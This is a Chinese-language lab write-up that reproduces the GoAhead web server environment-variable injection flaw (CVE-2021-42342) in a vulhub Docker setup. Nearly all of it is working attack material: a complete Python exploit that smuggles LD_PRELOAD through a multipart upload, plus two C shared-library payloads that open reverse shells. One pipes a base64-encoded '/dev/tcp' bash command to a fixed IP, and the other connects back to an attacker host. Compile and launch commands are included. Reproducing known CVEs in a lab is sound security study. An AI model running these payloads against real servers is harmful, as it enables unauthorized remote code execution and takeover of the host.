GoAhead Server 环境变量注入（CVE-2021-42342）漏洞复现

0x01 漏洞原理分析

https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/

0x02 漏洞复现

vulhub/goahead/CVE-2021-42342 环境搭建

cd goahead/CVE-2021-42342
sudo docker-compose up -d

登录靶机IP网页即可访问，使用文件中带的poc.py

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
    data = data.encode().replace(b'#payload#', payload)
    client.send(data)
    resp = client.recv(20480)
    print(resp.decode())


def main():
    target = sys.argv[1]
    payload_filename = sys.argv[2]

    with open(payload_filename, 'rb') as f:
        data = f.read()

    if len(data) > PAYLOAD_MAX_LENGTH:
        raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

    parts = urlparse(target)
    port = parts.port
    if not parts.port:
        if parts.scheme == 'https':
            port = 443
        else:
            port = 80

    context = ssl.create_default_context()
    with socket.create_connection((parts.hostname, port), timeout=8) as client:
        if parts.scheme == 'https':
            with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
                exploit(ssock, parts, data)

        else:
            exploit(client, parts, data)


if __name__ == '__main__':
    main()

然后制作对应 payload：

payload1.c
输入命令将bash -i >& /dev/tcp/192.168.45.129/4444 0>&1进行base64编码

#include <stdio.h>
#include <stdlib.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void)
{
    system("bash -c '{echo,base64编码值}|{base64,-d}|{bash,-i}'");
}

然后输入gcc -s -shared -fPIC ./payload.c -o payload.so编译链接库，再输入python3 poc.py http://靶机IP:8080/cgi-bin/index /path/to/payload.so

此时的shell没有成功回显，可以先暂停shell，因为是环境变量注入，等待一段时间后便能再次连接

payload2.c

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="攻击机IP";
uint32_t server_port=4444;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
    //socket initialize
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    //connect to the server
    if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
        exit(0);
    //dup the socket to stdin, stdout and stderr
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    //execute /bin/sh to get a shell
    execve("/bin/bash", 0, 0);
}

同样的步骤，将其编译发送即可